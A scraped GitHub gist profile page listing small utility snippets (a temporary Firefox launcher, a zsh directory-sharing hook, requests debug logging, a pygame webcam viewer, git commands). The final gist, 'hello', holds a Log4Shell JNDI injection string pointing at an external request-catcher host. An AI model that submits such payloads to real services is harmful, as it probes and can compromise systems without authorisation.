Skip to content

Instantly share code, notes, and snippets.

View norpol's full-sized avatar

Phileas Lebada norpol

View GitHub Profile
@norpol
norpol / README.md
Created March 17, 2018 12:44
ASCII Art thread

ASCII ART TIME

Post your ASCII/UTF-8 in whatever style you prefer. :-)

Please no porn.

@norpol
norpol / firefox-temp
Created April 4, 2018 15:27
Launches a temprorary firefox session
#!/bin/sh
set -u
PROFILEDIR="$(mktemp -p /tmp -d tmp-fx-profile.XXXXXX.d)"
[ -d "${PROFILEDIR}" ] || exit "mktemp failed"
firefox -profile "${PROFILEDIR}" -no-remote -new-instance $*
rm -rf "${PROFILEDIR}"
@norpol
norpol / LICENSE
Last active April 6, 2018 09:42
openssh via. tor on debian
MIT License
Copyright (c) 2018 Phi|eas |ebada
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
Optional Features:
  --disable-option-checking  ignore unrecognized --enable/--with options
  --disable-FEATURE       do not include FEATURE (same as --enable-FEATURE=no)
  --enable-FEATURE[=ARG]  include FEATURE [ARG=yes]
  --enable-load-relative  resolve load paths at run time
  --disable-werror        don't make warnings into errors even if a compiler
                          support -Werror feature [disabled by default unless
                          development version]
  --enable-pthread        obsolete, and ignored
@norpol
norpol / pyhelp.sh
Created May 22, 2018 11:43
Easy snippet to print a python help-page
#!/bin/sh
if [ -z "${1:-}" ]; then
cat <<EOF
Launches Python help page of a given module
Usage: <pyhelp> <modulename>
EOF
exit
fi
python -c "import $1; help($1)"
@norpol
norpol / zsh-chpwd-store-pwd-plugin.zsh
Last active June 14, 2018 11:26
Share current pwd across multiple shells
# Put this into your ~/.zshrc
# Enables chpwd, which runs a command if you cd/pushd/popd...
# Stores your latest pwd into a file and automatically
# cd's into it in case you start another shell
# check also this out https://gist.github.com/norpol/1ff30f0f614c38dccfabb4f9f62a73e6
# you might get this working in bash too https://stackoverflow.com/questions/3276247/is-there-a-hook-in-bash-to-find-out-when-the-cwd-changes
store_pwd() {
loc="$(pwd)"
target="/var/run/user/${UID}/cur_dir"
@norpol
norpol / debug_requests.py
Created August 21, 2018 12:02 — forked from Daenyth/debug_requests.py
Enable debug logging for python requests
import requests
import logging
import httplib
# Debug logging
httplib.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
req_log = logging.getLogger('requests.packages.urllib3')
req_log.setLevel(logging.DEBUG)
@norpol
norpol / camerastream.py
Created September 26, 2018 14:34 — forked from snim2/camerastream.py
Display the output of a webcam using Python and Pygame
import pygame
import pygame.camera
from pygame.locals import *
DEVICE = '/dev/video0'
SIZE = (640, 480)
FILENAME = 'capture.png'
def camstream():
pygame.init()
@norpol
norpol / merge_base.sh
Last active July 3, 2020 15:17
merge base experiments
git clone --depth=10 -b rcombs/subtitle-selection https://github.com/mpv-player/mpv
cd mpv
git fetch --depth=10 origin master:master
git merge-base --fork-point master HEAD
@norpol
norpol / hello
Created December 11, 2021 13:33
${jndi:ldap://apodsmds8f.requestcatcher.com/test}
${jndi:ldap://apodsmds8f.requestcatcher.com/test}